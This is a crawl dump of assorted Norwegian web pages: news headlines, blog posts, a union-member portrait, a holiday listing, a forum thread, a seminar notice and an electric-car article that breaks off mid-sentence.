tegneserieekspert Eric Leroy.\n\n  Publisert  19.11.2016, kl. 17.25 \n\n\n## Opnar opp om eiga legning: \u2013\u00a0Eg har kjent p\u00e5 at eg rommar meir, at kj\u00e6rleiken er st\u00f8rre\n\nSondre Justad.\n\n### Flere kulturnyheter\n\n\n\n## I natt kan v\u00e6re siste gang du stiller klokken\n\nNed en trapp, gjennom en korridor, bak en tung d\u00f8r \u2013 ligger Norges tidslaboratorium. Her har de aldri stilt frem mot sommertid.\n\nAv Maria Knoph Vigsn\u00e6s og Tiril Mettesdatter Solvang\n\n\n\n## Sondre Justad opnar opp om eiga legning\n\nI arbeidet med det nye albumet, oppdaga Sondre Justad nye sider ved seg sj\u00f8lv. I \u00abLindmo\u00bb laurdag fortalde han at han trur han kan forelske seg i b\u00e5de menn og kvinner.\n\nAv Espen Alnes, Anne Lindmo og Hege Bakken Riise\n\n\n\n## V\u00e5rt Land-redakt\u00f8ren blir oppsagt: \u2013 Jeg er helt knust\n\nSjefredakt\u00f8r \u00c5shild Mathisen i V\u00e5rt Land ble idag oppsagt med umiddelbar virkning. Klubben i avisen opplever det som et sjokk. \u2013 V\u00e5rt Land har virkelig v\u00e6rt verdt \u00e5 sl\u00e5ss for, sier Mathisen til NRK.\n\nAv Marianne Rustad Carlsen og Thomas Alvarstein Owe\n\n\n\n## Bekreftar \u00abBlurred Lines\u00bb-dommen\n\nEin amerikansk ankedomstol stadfestar dommen fr\u00e5 2015, som slo fast at storhiten \u00abBlurred Lines\u00bb av Pharrell Williams og Robin Thicke var eit plagiat.\n\nAv Espen Alnes\n\n\n\n## 12 brettspill for hele familien\n\nLei av \u00e5 spille Ludo og Yatzy p\u00e5 p\u00e5skefjellet? Vi gir deg de beste nye spillene for b\u00e5de barn og voksne.\n\nAv Ole Kristian \u00c5rdal\n\n\n\n## Quiz: Husker du barne-TV-sangene?\n\nMelodiene sitter kanskje, men hva med teksten?\n\nAv Mari Skarnes og Anne Kirsten Bakke\n\n## 11 av verdens beste krimb\u00f8ker\nLivet er for kort til \u00e5 lese middelm\u00e5dig krim \u2013 her er noe av det beste som noen gang er gitt ut.\n\nAv Leif Ekle og Terje Thorsen\n\n\n\n## \u2013 Cambridge Analytica er toppen av isfjellet\n\nPersonlege opplysningar fr\u00e5 Facebook har truleg blitt misbrukt av langt fleire enn Cambridge Analytica, meiner kommunikasjonsr\u00e5dgjevar og sosiale medium-ekspert Hans-Petter Nyg\u00e5rd-Hansen. Han trur vi berre har sett starten.\n\nAv Espen Alnes\n\n\n\n## Kulturministeren: \u2013 Jeg tror folk flest har godt av dette\n\nInformasjonen som skal ha blitt benyttet til \u00e5 m\u00e5lrette politisk reklame p\u00e5 Facebook, er en vekker for folk, mener kulturminister Trine Skei Grande (V).\n\nAv Caroline Tolfsen og Tiril Mettesdatter Solvang\n\n", "language": "no", "__index_level_0__": "e0aa99fa-429b-4c67-aedc-f1a668f53f78"}
{"url": "https://www.medier24.no/artikler/israel-fjerner-videoen-som-latterliggjorde-utenlandske-journalister-pa-gaza/360550", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:31:27Z", "text": "\n\n# Israel fjerner videoen som latterliggjorde utenlandske journalister p\u00e5 Gaza\n\n\\- Filmen ble misforst\u00e5tt, sier det israelske utenriksdepartementet.\n\n  - 22\\. juni 2015 - 07:37\n\n**Jerusalem (NTB-AFP):** Etter massiv kritikk har Israels utenriksdepartement fjernet en video som latterliggjorde utenlandske journalisters dekning av den siste Gazakrigen.\n\n**\u2013 Hensikten med videoen var \u00e5 vise Hamas' forbrytelser. Da dette ble misforst\u00e5tt, besluttet vi \u00e5 fjerne den, sier UD-talsmann Emmanuel Nahshon.**\n\nDen 49 sekunder lange videoen med tittelen **\u00ab\u00c5pne deres \u00f8yne om Gaza\u00bb** ble lagt ut p\u00e5 YouTube i forrige uke. Den kunne ogs\u00e5 sees p\u00e5 israelsk UDs hjemmeside.\n\n  - LES MER:****\u00a0**Israel harselerer med utenlandske journalister i ny propaganda-video**\n\n**Organisasjonen til de internasjonale journalistene i Israel, FPA, ford\u00f8mte videoen, som de kalte upassende og lite hjelpsom. Ogs\u00e5 israelske journalister var kritiske.**\n\nTegneserievideoen viste en blond TV-korrespondent i Gaza som med amerikansk aksent uttalte at \u00abdet ikke er noen terrorister her, bare vanlige folk\u00bb, mens en maskert mann avfyrte en rakett rett bak henne.\n\nI en annen scene kaller den fiktive journalisten tunnelene som Hamas brukte for \u00e5 angripe inne p\u00e5 israelsk territorium, den f\u00f8rste palestinske tunnelbanen.\n\n", "language": "no", "__index_level_0__": "ee753f8c-a83e-4d5c-83a8-577451c1778b"}
{"url": "http://lindasscrapping.blogspot.com/2016/01/live-today.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:14:40Z", "text": "\n\n## onsdag 13. januar 2016\n\n### Live Today\n\n\n\n  \nI dag vil jeg vise en LO med bruk av Marabou Acryl Mousse og Art Spray. Begge deler forhandles gjennom\u00a0Global Hobby og Kunst. Som bakgrunnsark har jeg brukt et lekkert ark fra\u00a07Dots Studio\u00a0i serien\u00a0Yuletide. N\u00e5r jeg lager LOer med mousse og sprayer/maling p\u00e5 bakgrunnsarket, pleier jeg f\u00f8rst merke av hvor bildene skal v\u00e6re, og deretter p\u00e5f\u00f8rer jeg mediumene. Jeg bruker spatel for \u00e5 f\u00f8re p\u00e5 moussen, og varierer hvor tykke lag jeg har p\u00e5. Her har jeg brukt mousse i hvit og gr\u00e5. Sprayene jeg har brukt er i fargene gr\u00e5 og Caribbean blue.  \n  \n\n\n  \nP\u00e5 denne LOen ville jeg ha litt streker bak bildene, og jeg har derfor streket opp med en penn i 0,8 mm med linjal en ramme der bildene skal v\u00e6re, samt noen streker nede i et hj\u00f8rne. Deretter har jeg drodlet litt tilfeldig over strekene. Bakgrunnen er da klar for bilder og pynt.  \n  \n\n\n\n  \nSlik ble den ferdige LOen. N\u00e5r jeg har mye detaljer p\u00e5 bakgrunnen, pleier jeg ofte holde clusteren litt enklere, for at LOen ikke skal drukne. P\u00e5 denne LOen \u00f8nsket jeg i tillegg \u00e5 la det lekre bakgrunnsarket f\u00e5 komme godt frem, og jeg brukte derfor lite ark og pynt i tillegg. Jeg har brukt ei lita stripe av et ark fra Studio light bak bildet, for \u00e5 hente opp fargetonene i spray og blomst. Ellers er LOen pyntet med Tag, tekststriper og klistremerker fra 7Dots, samt blomster og halvperler fra\u00a0Papirdesign.  \n  \nDetaljer:  \n\n\n\n  \n\n\n  \n\n\n  \n\n\n  \nDet siste bildet er veldig m\u00f8rkt, men tatt uten noen form for blitz eller lys, for \u00e5 f\u00e5 frem den lekre strukturen acrylmoussen gir. Moussen kommer i tube, noe som er veldig praktisk med tanke p\u00e5 at den holder seg \"fersk\". Den har en litt \"sandkornete\" struktur, noe som gir ekstra fint spill i overflatestrukturen.  \n  \n\n\n\nScratch  kl. \n\n09:00           \n\n", "language": "no", "__index_level_0__": "9a6dce18-5c23-41db-84ac-0bdeb7919c14"}
{"url": "http://amoaa.blogg.no/1342203904_hva_nsker_dere_at_blo.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:42:53Z", "text": "## Hva \u00b0nsker dere at bloggen v\u0148r skal handle om?\n\n  - 13.07.2012 kl.20:25 i Astri Mikaela\nHeeii\\!  \nFikk ikke blogget i g\u0148r p\u0148grunn av at jeg og Kaisa var i Harstad hele dagen\\! Var sykt g\u00b0y\\! Men jeg shoppet ikke s\u0148 mye der, bare litt sm\u0148ting \u0148 s\u0148nt\\!  \n  \n  \nEn hvit og rosa hettegenser (Kari Traa) fra sportsbutikken, er sykt godt st\u0148ff i den\\! kostet 399,- \u253c en foundation fra \"The body shop\"\u00e1  \n  \n  \n3 \"lip butter\" og en foundation fra \"the body shop\" foundation i farge \"102\" kostet 239,-  \n  \nOver til overskrifta\\!  \nJeg syntes at \u0148 blogge om bare outfit's \u0148 hverdagsblogg er s\u0148 kjeedeliig\\! S\u0148 jeg tenkte \u0148 sp\u00b0rre dere om hva dere syns vi burde ha mer av p\u0148 bloggen? Er liksom ikke g\u00b0y \u0148 blogge om ting vis andre syns det bare er kjedelig, ikke sant?\u00e1  \n  \n  \n  \n#### Lovna Hovdan\n\n13.07.2012 kl.21:18\n\n#### kaisa\n\n13.07.2012 kl.22:31\n\n#### Astri Mikaela - kommenterer tilbake :)\n\n14.07.2012 kl.00:38\n\nkaisa: jo, mamma hadd kj\u00b0pt dt te m\u0160 \\<3\n\n\n\n#### Tran Nguyen\n\n14.07.2012 kl.10:55\n\nFine innkj\u00b0p\\! :) Hmm, outfits, anbefalinger, inspirasjon, videoer? :)  \n  \n#### niles \\[PHOTOGRAPHY\\]\n\n14.07.2012 kl.17:50\n\nfin blogg :) kramar fr\u0148n sverige\n\n\n\n#### behms\n\n14.07.2012 kl.19:23\n\nKjempe fint bilde\\!du har fin blogg \\!  \n  \n\n\n#### kaisaa\n\n14.07.2012 kl.20:05\n\njamen du hadde jo g\u0160nsern p\u0148 d\u0160 dagen f\u00b0r vi for t harsta\n\n\n\n#### Astri Mikaela - kommenterer tilbake :)\n\n15.07.2012 kl.00:50\n\nKaisa: fikk akkurat samme genser hos mamma f\u00b0r ho ville ha den i fre, s\u0148 \u0160 fikk egen\\!\n\n", "language": "no", "__index_level_0__": "cfef72fc-1479-4104-b93e-923fcbce3ed2"}
{"url": "http://arbeidslivet.no/Arbeid1/Likestilling/Portrett-Marlene-Jorgensen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00338.warc.gz", "warc_date": "2018-03-24T23:31:14Z", "text": "# Portrett: Marlene J\u00f8rgensen\n\n\u00abDet er lurt \u00e5 bruke fagbevegelsen for \u00e5 bli bedre integrert.\u203a\n\n\n\n| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |\n| *Artikkelen er ett av ni portretter hentet fra Fafo-rapporten Kvinner i fagbevegelsen 2013, utgitt i anledning av hundre\u00e5rsjubileet for allmenn stemmerett for kvinner.* |\n\nDet er veldig vanskelig \u00e5 v\u00e6re tillitsvalgt uten \u00e5 mestre spr\u00e5ket. Men skal du ta del i samfunnet, m\u00e5 du v\u00e6re med i fagbevegelsen, sier Marlene J\u00f8rgensen.\n\nHun har n\u00e5dd ett av mange m\u00e5l: \u00e5 kunne diskutere innholdet i tariffavtalen med en nordmann.\n\n\u2013 N\u00e5r man klarer \u00e5 argumentere, gir det mer selvtillit. Det er en positiv sirkel, sier Marlene J\u00f8rgensen.\n\nDamen fra Filippinene har v\u00e6rt i Norge i snart 25 \u00e5r og gift med en nordmann i 20 av dem. Fremdeles er den norske vinteren litt i barskeste laget, s\u00e5 hver januar er det ferie i hjemlandet. \n\nTil tross for v\u00e6ret har det aldri v\u00e6rt tvil om Marlenes \u00f8nske om \u00e5 bli i Norge. Da hun f\u00f8rst kom til landet som au pair, begynte hun umiddelbart \u00e5 orientere seg om mulighetene til \u00e5 bli v\u00e6rende i landet p\u00e5 mer permanent basis, og hun fikk etter hvert jobb ved den portugisiske ambassaden. Fra hjemlandet hadde hun en bachelorgrad i \u00f8konomi.\n\n\u2013 Etter noen \u00e5r sa mannen min at hvis du skal integrere deg ordentlig i det norske samfunnet, s\u00e5 b\u00f8r du f\u00e5 deg en annen jobb. Du m\u00e5 inn i det norske arbeidsmarkedet. Det var da jeg begynte i Fretex.\n\nHelt fra hun kom til Norge, har Marlene v\u00e6rt bevisst p\u00e5 \u00e5 l\u00e6re seg norsk. I vertsfamilien ble det pratet engelsk, men hun kj\u00f8pte aviser og ukeblader for \u00e5 pr\u00f8ve seg fram. P\u00e5 biblioteket fikk hun gratis adgang til data, og hun s\u00e5 en del p\u00e5 norsk fjernsyn.\n\n\u2013 Jeg tenkte \u00abOh, my God, dette er vanskelig\u00bb. Men jeg l\u00e6rte faktisk mye av \u00e5 lese Se og H\u00f8r. Det var akkurat passelig vanskelig, forteller hun med et smil.\n\n## Lettere \u00e5 snakke med en utlending\n\nDe siste fem \u00e5rene har Marlene v\u00e6rt tillitsvalgt for Fellesforbundet i Fretex \u00d8stNorge. Den viktigste personlige gevinsten med vervet har v\u00e6rt \u00f8kt selvtillit. Kombinasjonen utlending og kvinne kan by p\u00e5 ekstra utfordringer n\u00e5r man er tillitsvalgt, men har ogs\u00e5 sine fordeler, mener Marlene:\n\n\u2013 Da jeg vokste opp p\u00e5 Filippinene, var det mannen i familien som hadde noe \u00e5 si. S\u00e5 den kulturen er en del av min bakgrunn, selv om det n\u00e5 begynner \u00e5 bli mer likestilling ogs\u00e5 p\u00e5 Filippinene. I mine \u00e5r som tillitsvalgt har jeg pr\u00f8vd \u00e5 l\u00e6re meg\u00a0mest mulig. Turt \u00e5 sp\u00f8rre om alt mulig, noe som kanskje er lettere for en kvinne. P\u00e5 arbeidsplassen er det mange andre utlendinger som synes det er enklere \u00e5 snakke med meg om eventuelle problemer fordi jeg er utlending selv. \n\nHun mener at mange asiatiske arbeidstakere er forsiktige med \u00e5 ta verv fordi de har for mye \u00e5 gj\u00f8re.\n\n\u2013 Og mange av oss er ofte sjenerte, og vi er gjerne ikke s\u00e5 vant til \u00e5 bruke PC. P\u00e5 Filippinene er det fremdeles slik at det er de mer velst\u00e5ende som har egen PC, p\u00e5peker Marlene.\n\nMarlene var lenge skamfull over \u00e5 prate d\u00e5rlig norsk og unngikk diskusjoner. Og hun forteller at hun holdt p\u00e5 \u00e5 gi opp. Samtidig klarte hun ikke \u00e5 la v\u00e6re \u00e5 bry seg n\u00e5r noen ble urettferdig behandlet. Den forrige klubblederen rekrutterte henne som nestleder, med klare planer om at hun etter hvert skulle overta som leder.\n\n## \u00abGrunn til \u00e5 tro p\u00e5 framtiden\u00bb\n\n \nP\u00e5 arbeidsplassen sorteres og vaskes innsamlede kl\u00e6r og sko. Noe skal til butikker p\u00e5 \u00d8stlandet, og noe sendes til utlandet. Fretex har mange ulike grupper av ansatte, blant annet tilrettelagt arbeid for personer som har vanskelig for \u00e5 finne ordin\u00e6rt arbeid. Fretex er Norges st\u00f8rste bruktkjede og en viktig del av Frelsesarmeen Norge. I Norge er det om lag 2000 personer som til daglig jobber i Fretex, hvorav rundt 1600 er jobbs\u00f8kere som deltar i ulike attf\u00f8ringstiltak.\n\n\u2013 \u00abJeg elsker slagordet til Fretex\u00bb, sier Marlene og peker p\u00e5 veggen bak seg der det st\u00e5r: \u00abVi gir folk grunn til \u00e5 tro p\u00e5 framtiden\\!\u00bb\n\n## S\u00f8k st\u00f8tte\\!\n\nMarlene mener at det er lurt \u00e5 bruke fagbevegelsen for \u00e5 bli godt integrert i samfunnet:\n\n\u2013 Hvis ikke utenlandske arbeidstakere vet om hvilke rettigheter de har, s\u00e5 kan de bli annenrangs arbeidstakere. Men med rettigheter f\u00f8lger det ogs\u00e5 plikter, som for eksempel \u00e5 delta aktivt i fagforeningsarbeid. Vi kan ikke bare sitte p\u00e5 sidelinja og klage. Det er mange utlendinger som ikke skj\u00f8nner dette.\n\nHun mener at spr\u00e5ket er den st\u00f8rste barrieren for utenlandske arbeidstakere. Lover og avtaler er stort sett p\u00e5 norsk og dessuten ganske vanskelig tilgjengelig stoff. Marlene er kjempeglad for at arbeidsmilj\u00f8loven endelig er blitt oversatt til engelsk.\n\n\u2013 Jeg har deltatt p\u00e5 masse kurs og s\u00f8kt hjelp og st\u00f8tte, ikke minst hos avdeling 1 i Fellesforbundet. Jeg har f\u00e5tt beskjed om \u00e5 st\u00e5 p\u00e5 og ikke v\u00e6re redd for \u00e5 gj\u00f8re feil. Det har v\u00e6rt utrolig viktig. Derfor er oppfordringen til andre i tilsvarende situasjon: Ikke v\u00e6r redd for \u00e5 be om hjelp og st\u00f8tte. Det gjelder \u00e5 finne ut av ting; hva er reglene, og hvordan brukes de i praksis?\n\n\u2013 N\u00e5 kan jeg med stolthet si at jeg er ikke norsk, men jeg pr\u00f8ver. Jeg har blitt mindre sjenert, og jeg kjenner mine rettigheter. Mannen min har ogs\u00e5 v\u00e6rt en stor st\u00f8tte i alle de \u00e5rene vi har v\u00e6rt gift.\n\n## For liten \u00e5penhet\n\nSelv om Marlene har f\u00e5tt god st\u00f8tte av sin egen avdeling i Fellesforbundet, synes hun at milj\u00f8et i fagbevegelsen kan v\u00e6re for stivt og preget av liten \u00e5penhet. Marlene etterlyser ogs\u00e5 mer hum\u00f8r.\n\n\u2013 Det er viktig \u00e5 bli \u00f8nsket velkommen og gi folk oppmuntring. Hvis LO vil ha flere utlendinger som tillitsvalgte, s\u00e5 trengs det mer \u00e5penhet, t\u00e5lmodighet og raushet. Jeg var p\u00e5 et seminar en gang og ba om \u00e5 f\u00e5 forklare noe p\u00e5 engelsk. Det fikk jeg ikke lov til, noe jeg syntes var veldig skuffende.\n\n\u2013 For fagbevegelsen er det viktig \u00e5 f\u00e5 flere utenlandske kvinner som tillitsvalgte. Ikke minst i restaurantbransjen. Da m\u00e5 fagbevegelsen \u00f8nske dem velkommen p\u00e5 en ordentlig m\u00e5te.\n\n## T\u00e5lmodig arbeidsgiver\n\n\u2013 Etter fem \u00e5r vurderer jeg \u00e5 gi meg som tillitsvalgt. Men jeg vet ikke helt, jeg f\u00e5r s\u00e5 mange positive tilbakemeldinger fra medlemmene, som er dr\u00f8yt 55 i tallet. Jeg f\u00e5r h\u00f8re at \u00abdu m\u00e5 ikke g\u00e5 av, du er den beste som er\u00bb. Det er jo veldig hyggelig.\n\nI m\u00f8tet med arbeidsgiver kan man lett f\u00f8le seg overkj\u00f8rt dersom spr\u00e5kkunnskapene mangler. Men Marlene understreker at hun har blitt m\u00f8tt med veldig stor t\u00e5lmodighet.\n\n\u2013 Det var selvsagt en kamp for meg i begynnelsen. Du skal gjerne argumentere for en sak, s\u00e5 spr\u00e5k er jo helt avgj\u00f8rende. Men det er \u00e5pne linjer til ledelsen, og sjefen er veldig t\u00e5lmodig. Vi har et godt samarbeid, der jeg f\u00f8ler at ledelsen ogs\u00e5 har tillit til meg.  \n\n***LES FLERE PORTRETTER** av kvinner i fagbevegelsen:\u00a0Liv Buck, **Sidsel Bauck**, **Esther Kost\u00f8l**,* ***Liv S. Nilsson,*** ***Ellen Stensrud**, **Gerd-Liv-Valla**, **Erna Hagensen**, **Kine Asper\u00a0**  \n", "language": "no", "__index_level_0__": "c47aaeab-ede0-4744-a912-3c679238dc8a"}
{"url": "https://www.nettavisen.no/nyheter/bnder-har-mindre-makt-med-sp-i-regjering/3402255.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:41:05Z", "text": "# B\u00f8nder har mindre makt med Sp i regjering\n\n  - \n  - \nOslo (NTB): B\u00f8ndene mister makt, og forhandlinger med staten har blitt mindre reelle etter at Senterpartiet kom til makten, mener forfatter Svenn Arne Lie. Han f\u00e5r st\u00f8tte i sitt syn fra Bondelaget og Norsk Bonde- og sm\u00e5brukarlag.\n\nLie er forfatter av debattboken \u00abEn nasjon av kj\u00f8tthuer\u00bb som ble utgitt tidligere i \u00e5r. Han har v\u00e6rt landbruksforsker og er n\u00e5 r\u00e5dgiver i Fagforbundet.\n\n\\- Det er sv\u00e6rt tette b\u00e5nd mellom ledelsen i Bondelaget, samvirkene og Landbruksdepartementet. De siste 30 \u00e5rene har departementet brukt jordbruksforhandlingene til \u00e5 presse gjennom sin politikk via jordbrukets organisasjoner. Organisasjonene har endt opp i en situasjon der de blir p\u00e5drivere for en jordbrukspolitikk som bygger ned norsk matproduksjon, sier Lie til Klassekampen.\n\nLie mener forhandlingene har blitt enda mindre reelle med Senterpartiet i regjering.\n\nLeder i Bondelaget, Nils T. Bj\u00f8rke, ser ingen alternativer til dagens ordning.\n\n", "language": "no", "__index_level_0__": "7be7550f-d286-4d07-b23b-4cd44e115f5d"}
{"url": "https://www.novasol.no/feriehus/italia/liguria/rivieradilevante/ferieleilighet-varese-ligure---cinque-terre-ill302", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:08:38Z", "text": "### NOVASOL-stjernene forteller deg mer\n\nEt h\u00f8yere antall stjerner betyr bedre komfort i ferieboligen. Det inkluderer m\u00f8bler, utstyr og generelle forhold.\n\n    \nEnkelt m\u00f8blert feriehus hvor det er lagt liten vekt p\u00e5 utstyr.\n\n    \nEnkelt innredet feriehus.\n\n    \nTradisjonelt feriehus, oftest med standardm\u00f8bler og -utstyr.\n\n    \nVelutstyrt feriehus med h\u00f8y standard. Komfortable m\u00f8bler og mange fasiliteter.\n\n    \nV\u00e5re aller beste feriehus. Smakfullt innredet hus med avansert utstyr og lekre, moderne m\u00f8bler.\n\n    ### Husdyr tillatt\n     I disse feriehusene er husdyr hjertelig velkommen. Viktig\\! Maks. 2 husdyr pr. feriehus (i S\u00f8r-Europa maks. 1 husdyr). Med husdyr forst\u00e5s hunder, katter, hamstere, kaniner og lignende. \n\n### Beskrivelse\n\nSk\u00f8n ferielejlighed med stor altan i Varese Ligures gamle bydel, med udsigt over haven og den lille flod. I centrum er der runde gader, med huse bygget overfor hinanden med det Kaptajnspaladset fra middelalderen i midten. Hvis I holder af at vandre, k\u00f8re mountainbike eller ride, s\u00e5 er der sk\u00f8nne stier til form\u00e5let, herfra kan I nyde pragtfulde panoramaudsigter samtidig med I l\u00e6rer landskabet at kende. Fra Levanto kommer I nemt til Cinque Terre og p\u00e5 blot f\u00e5 kilometer til La Specia, Portovenere, Lerici og Golfo dei Poeti.\n\n", "language": "no", "__index_level_0__": "d50722cb-3e4c-4cba-8590-0817475b2433"}
{"url": "http://dvd-world.biz/filmblogg/?tag=andrew-simpson", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:18:11Z", "text": "# Captain Charismas Filmblogg\n\n# Tag Archives: Andrew Simpson\n\n# Road Games (2015)\n\n\n\nEn britisk mann treffer en dame i Frankrike, og de bestemmer seg for \u00e5 haike. De blir plukket opp av en merkelig mann som tar dem med tilbake til sitt hjem der kona venter. De er invitert til middag, og de skal tilbringe en natt i dette huset. Denne invitasjonen burde de aldri ha takket ja til. Continue reading Road Games (2015) \u2192\n\n", "language": "no", "__index_level_0__": "22d6234b-8d6a-4b58-ae4c-796f03489bdf"}
{"url": "http://www.modellflynytt.no/showthread.php/35873-Diverse?s=3d1a8bad1abd301daeceebd9b7c1dd1b&p=401349", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:15:56Z", "text": "4.  \n7.   08-11-14,\u00a023:24   \\#52 \n         \n    \n    ## \n    \n    > Syns det ser bra ut, har selv kj\u00f8pt flere ting fra modellsalg.no  \n    > Det jeg har tenkt p\u00e5, er at det kanskje burde v\u00e6rt en egen kategori for motor.  \n    > Kategorien fly blir litt \"rotete\" syns jeg, n\u00e5r det blir en miks av bensin, fuel og elektromotorer, sammen med heli og fly.  \n    >   \n    > Trenger n\u00f8dvendigvis ikke \u00e5 sorteres etter noe type, men en kategori for motorer tror jeg hadde v\u00e6rt greit.  \n    > Det selges ogs\u00e5 s\u00e5pass mange motorer via siden, at jeg tror ikke den hadde blitt slunken \n    \n    -----\n\n8.  \n9.   08-11-14,\u00a023:57   \\#53 \n    \n    xilian\n    \n     Chief Executive Officer     \n    \n    -----\n    ## \n    \n    > Nei, det er en del action der.  \n    > Samtidig er det et par kategorier som det er lite action i.  \n    >   \n    > Men jeg vil vente litt til med \u00e5 gj\u00f8re s\u00e6rlige endringer der. (f\u00f8lger med p\u00e5 statistikk   \n    >   \n    >   \n    > Men takk for forslag. Det blir notert bak \u00f8ret \n    \n    > Sist endret av xilian; 09-11-14 kl 00:12\n    \n    > **Tom I. Arntsen  \n    > St\u00e5 p\u00e5 Tom \\!\n    \n    > Terje Egeberg  \n    > \"Opp ska det og det f\u00e5r bare virke\"  \n     Chief Executive Officer     \n    \n    ## \n    \n    > Obs\\! Det viser seg at det den siste tiden har v\u00e6rt tidvis problemer med mail-server.  \n    > Dette har f\u00f8rt til at eposter fra systemet ikke har blitt sendt (verifisering av nye brukere og mailer til selgere via kontaktskjema.)  \n    > Vi oppfordrer derfor sterkt at alle som har pr\u00f8vd \u00e5 kontakte selgere gj\u00f8r dette p\u00e5 nytt. Brukere i systemet har blitt manuelt verifisert, og disse kontoene fungerer n\u00e5 som de skal. Beklager p\u00e5 det sterkeste\\!\n    \n    > **Tom I. Arntsen  \n", "language": "no", "__index_level_0__": "88a169cf-aa4d-4d06-83ab-f375968b9c9d"}
{"url": "http://escali.no/NYHETER/ArtMID/1174/ArticleID/116/Finansforvaltning-i-maritim-sektor", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:16:56Z", "text": "3 Sep 2012\n# Finansforvaltning i maritim sektor\n\nI \u00e5r kan vi tilby et sv\u00e6rt variert og spennende program p\u00e5 seminaret \"Finansforvaltning i maritim sektor\".  \nHer f\u00f8lger komplett program:\n\n#### \"Finansforvaltning i maritim sektor\"\n\nSett av 18. Oktober hvis du jobber innen shipping, sj\u00f8forsikring eller offshore med finans, \u00f8konomi eller regnskap.\n\n  - 7\\. Trends in Treasury Mng, 1400-1430, First Treasury v/ Senior Mng Michael Leighton\n  - 8\\. Oppsummering / Avslutning, 1430-1445, Escali v/ CEO Gerdt Sverre Vedeler SLUTT, ca. 1445\n\n**Sted:** Oslo, Rosenkrantzgate 15, 2. etasje.  \n**Tidspunkt:** 18. oktober klokken 0915- 1445  \n**Hvem passer det for:** Deg som jobber med finans, \u00f8konomi eller regnskap i rederier, sj\u00f8forsikringsselskaper eller innen offshore. F.eks. CFO, Controllere, \u00d8konomi- og finanssjefer, samt \u00f8konomi-, regnskaps- og finansmedarbeidere.  \n**Pris:** 990,- NOK inkl. lunsj og drikke  \n**P\u00e5melding:** firstname.lastname@example.org innen 10. oktober 2012  \n**Seminarvilk\u00e5r:** Escali Financial Systems AS forbeholder seg retten til \u00e5 avlyse seminar ved mindre enn 10 deltakere. P\u00e5melding til seminaret er bindende. Ved eventuell avbestilling vil organisasjonen blir belastet med kr. 500 per deltaker dersom Escali mottar avbestilling minimum 10 dager f\u00f8r kurset/seminaret. Dersom avbestilling forekommer 10 dager eller mindre f\u00f8r kursstart vil bedriften bli belastet med full pris.\n\n", "language": "no", "__index_level_0__": "29f2b0ae-75df-4011-b3cd-bcab9cc1c7f3"}
{"url": "http://elbil.no/citroen-leverer-elbil-om-et-halvt-ar/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:44:34Z", "text": " 16. august 2010 Skrevet av:  elbil.no  \n\nCitro\u00ebn har meddelt at deres elektriske 4-seter C-Zero vil koste under 240.000 kr og skal leveres til norske kunder i 1.kvartal 2011. Men noen sp\u00f8rsm\u00e5l gjenst\u00e5r.\n\n\u00a0\n C-Zero er Citro\u00ebns variant av den mye omtalte i-MiEV fra Mitsubishi. Samme teknologi, st\u00f8rrelse, funksjoner og utseende. Mitsubishi er rett rundt hj\u00f8rnet med sin lansering i Norge, men Citro\u00ebn var f\u00f8rst og presenterer en forel\u00f8pig introduksjonspris p\u00e5 239.900 kr.\n\n\u00a0\nC-Zero har litiumbatterier, og Citro\u00ebn hevder at den har en kj\u00f8relengde p\u00e5 130-150 km og toppfart p\u00e5 130 km/t. Interessant nok presenterer de ogs\u00e5 at den kan hurtiglades fra 0-80% p\u00e5 30 minutter. C-Zero C-Zero leveres med 3 \u00e5rs garanti p\u00e5 bilen og 5 \u00e5r/50 000 km p\u00e5 batteriene. Resten av detaljene kan du lese i pressemeldingen.\n\nN\u00e6rmest i gledesrus over nyheten tok Norstart kontakt med Citro\u00ebn Norge for \u00e5 f\u00e5 litt utfyllende detaljer. Noen ubesvarte sp\u00f8rsm\u00e5l satt vi med etter \u00e5 ha lest pressemeldingen. Ved f\u00f8rste telefonkontakt var det litt usikkerhet p\u00e5 den andre siden av linja, men informasjons- og salgsassistent Ranveig S\u00f8nju var raskt tilbake samme dag og ga oss mer utfyllende informasjon.\n\n**Skal alle Citro\u00ebns 51 norske forhandlere selge elbilen C-Zero?**\n\nSlik det det ser ut n\u00e5, vil alle Citro\u00ebns forhandlere i Norge f\u00e5 tilbud om \u00e5 selge C-Zero. Deretter vil det v\u00e6re opp til den enkelte forhandler \u00e5 benytte seg av dette tilbudet eller ikke. Det er vel naturlig \u00e5 tro at forhandlere i de st\u00f8rre byene vil v\u00e6re mer interesserte enn forhandlere som holder til i mindre befolkede omr\u00e5der.\n\n**Hvor mange C-Zero forventer Citro\u00ebn selge?**\n\nC-Zero lanseres f\u00f8rst i 1. kvartal 2011, s\u00e5 det er fremdeles en god stund til vi ser bilen p\u00e5 norske veier. Salgsm\u00e5l for 2011 er enda ikke fastsatt. Men vi har allerede f\u00e5tt bestillinger fra forhandlere.\n\n**Hvor kan vi pr\u00f8vekj\u00f8re C-Zero?**\n\nDet er enn\u00e5 ikke mulig. Kanskje f\u00f8rst i 1.kvartal 2011, pr idag vet vi ikke n\u00e5r vi 